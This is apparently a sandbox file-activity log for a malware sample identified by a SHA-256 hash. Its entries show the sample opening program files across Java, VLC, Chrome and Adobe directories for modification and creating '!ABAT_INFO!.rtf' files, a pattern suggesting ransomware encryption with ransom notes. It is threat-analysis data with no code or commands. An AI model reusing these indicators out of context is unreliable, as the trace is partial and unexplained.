81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Volgograd 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-core-kit_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\security\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\cgg\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\zh_CN\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\meta\reader\filename.luac 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.help.ui.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4-dark_win.css 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Windows Journal\Journal.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\macGrey.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\jinfo.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Port_of_Spain 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Chatham 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\sl.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\icons\alert_obj.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.model.workbench_1.1.0.v20140512-1820.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\META-INF\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Amsterdam 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\ta.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.historicaldata.ja_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.help_2.0.102.v20141007-2301\META-INF\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-openide-awt.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-attach_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\VisualElements\LogoBeta.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\Davis 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Seoul 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\.settings\org.eclipse.equinox.p2.artifact.repository.prefs 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.transport.ecf.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-explorer_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Merida 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Pangnirtung 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Etc\GMT-13 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Dawson 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Campo_Grande 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Africa\Tripoli 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\nn\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\WidevineCdm\LICENSE 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\Dynamic.pdf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\license.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-lib-profiler_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Australia\Melbourne 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\UndoConvertFrom.bin 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\intf\dummy.luac 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\YST9 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rcp.intro.ja_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\sql90.xsl 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Indiana\Petersburg 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Madrid 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\chrome_200_percent.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.jface_3.10.1.v20140813-1009.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-modules-profiler-utilities.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\msolui100.rll 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Brussels 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\notification_helper.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Brunei 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Riyadh87 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\META-INF\ECLIPSE_.RSA 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\dialogs\mosaic_window.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\zh_CN\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\include\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\fonts\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\af\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Installer\setup.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt32.clx 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT+12 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\CST6CDT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Tongatapu 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\Troll 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-modules-profiler-selector-ui.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Updater.api 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_ef8c08_256x240.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\VDKHome\VDK10.SYX 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\am.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\deploy\ffjcext.zip 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\CST6CDT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\META-INF\MANIFEST.MF 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Indiana\Vevay 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Boa_Vista 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Noronha 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.di.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-api-search.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\ext\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\bn\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\fonts\LucidaTypewriterBold.ttf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Prague 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\es\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Amsterdam 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\prodbig.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Africa\Tunis 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\jce.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Malta 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\lua\modules\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\fonts\LucidaBrightDemiItalic.ttf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Kuala_Lumpur 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-profiler_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\zi\Indian\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Mozilla Firefox\fonts\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\plugin.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\LICENSE 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\THIRDPARTYLICENSEREADME.txt 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\mobile_view.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\skins\skin.dtd 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Setup Files\{AC76BA86-7AD7-1033-7B44-A90000000001}\setup.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench.renderers.swt.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.css.swt.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-uihandler_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.200.v20141007-2033\META-INF\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Ust-Nera 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\liveleak.luac 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\he\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\META-INF\ECLIPSE_.RSA 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\pt_BR\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\bin\setEmbeddedCP 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\lib\derbynet.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ecf.provider.filetransfer.ssl_1.0.0.v20140827-1444.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.jface.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\cmm\PYCC.pf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Nauru 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Niue 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\he\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\meta\art\00_musicbrainz.luac 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\modules\sandbox.luac 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\create_form.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\icons\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-attach_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\lua\intf\modules\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\images\cursors\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Auckland 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\AST4 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ecf.provider.filetransfer_3.2.200.v20140827-1444.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\lt\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_browser.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\stop_collection_data.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.rcp_4.4.0.v20141007-2301\feature.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-api-progress_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-core-multiview.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-text_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\images\Folder-48.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\North_Dakota\New_Salem 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Whitehorse 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\Casey 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Ust-Nera 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\YST9YDT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.directorywatcher.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-swing-plaf.jar 